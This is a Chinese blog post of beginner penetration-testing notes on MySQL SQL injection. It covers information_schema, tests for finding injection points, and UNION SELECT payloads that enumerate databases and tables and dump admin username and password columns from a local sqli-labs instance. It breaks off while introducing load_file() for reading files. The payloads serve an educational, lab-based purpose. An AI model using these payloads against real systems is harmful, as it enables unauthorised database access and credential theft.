SQL注入之MYSQL注入

一块金子

已于 2022-04-19 11:16:45 修改

阅读量7.2k

点赞数 7

分类专栏：笔记渗透测试文章标签： sql 安全

于 2022-04-19 11:15:34 首次发布

本文链接：https://blog.csdn.net/av11566/article/details/124268873

版权

笔记同时被 2 个专栏收录

9 篇文章 2 订阅

订阅专栏

渗透测试

9 篇文章 1 订阅

订阅专栏

前言（菜鸡教程大佬勿喷）

MYSQL注入中首先要明确当前注入点权限，高权限注入时有更多的攻击手法，有的能直接进行getshell操作。其中也会遇到很多阻碍，相关防御方案也要明确，所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理，这样才是一个合格的安全工作者。

必要知识

在MYSQL5.0以上版本中，MYSQL存在一个自带数据库名为information_schema，它是一个存储记录有所有数据库名，表名，列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
数据库中符号"."代表下一级，如xiaodi.user表示xiaodi数据库下的user表名。
常用参数

information_schema.tables：记录所有表名信息的表

information_schema.columns：记录所有列名信息的表

table_name：表名

column_name：列名

table_schema：数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

如何判断注入点

如果页面中MySQL报错，证明该页面中存在SQL注入漏洞

单引号 '

and 1=1

and 1=2

SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

逻辑运算符（或与非）

真且真 = 真

真且假 = 假

真或假 = 真

SELECT * FROM users WHERE id=1 真

1=1 真

1=2 假

真且真=真

真且假=假

SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

MySQL 5.x数据结构

在MySQL 5.0以上版本中，为了方便管理，默认定义了information_schema数据库，用来存储数据库元信息，其中具有表schemata（数据库名），table（表名），columns（列名或字段名）
在schemata表中，schema_name字段用来存储数据库名
在table表中，table_schema和table_name分别用来存储数据库名和表名
在column表中，table_schema（数据库名），table_name（表名），column_name（字段名）
关于直接对数据库的增删改查

1. 增 create database 数据库名
2. 删 drop database 数据库名
3. 改 rename database 旧名 to 新名
4. 查 show databases
5. 创建表 create table table_name( id1 int,id2 varcher)
6. 重新给表命名 alter table table_name_old rename as table_name_new

关于对数据表的增删改查

1. 增 insert into table_name(列1，列2 ... ) values(值1，值2 ... )
2. 删 delete from 表名 where 列名 = 值
3. 改 update 表名 set 列名=新值 where 列名=某值
4. 查 select * from 表名 where 字段1=‘条件一’and 字段2 =‘条件二’
5. 扩展 limit

limit m,n 从m行开始，到m+n行结束

select * from admin limit 2,1 指的是从第二行开始，到第三行结束（从第二行开始查取一行数据）

高权限注入及低权限注入

跨库查询及应用思路

information_schema 表特性，记录库名，表名，列名对应表

通过select * from schemata; 进行数据库名查询，再去选择进行查询获取指明数据库里的数据

获取所有数据库名：

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1union select 1,group_concat(schema_name),3 from information_schema.schemata

获取指定qqyw数据库名下的表名信息：

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'

获取指定qqyw下的表名admin下的列名信息：

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_achema='qqyw'

获取指定qqyw下的admin数据

union select 1,u,p,4 from qqyw.admin

文件读写操作

会用到MySQL数据库里两个内置函数，这两个函数是MySQL数据库特有的，在其他数据库是没有的或者在其他数据库中写法不同，所以这是为什么说注入点分数据库的原因，因为每个数据库内置的安全机制和它的功能不同，这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。MySQL有内置读取的操作函数，我们可以调用这个函数作为注入的攻击。

load_file()：读取函数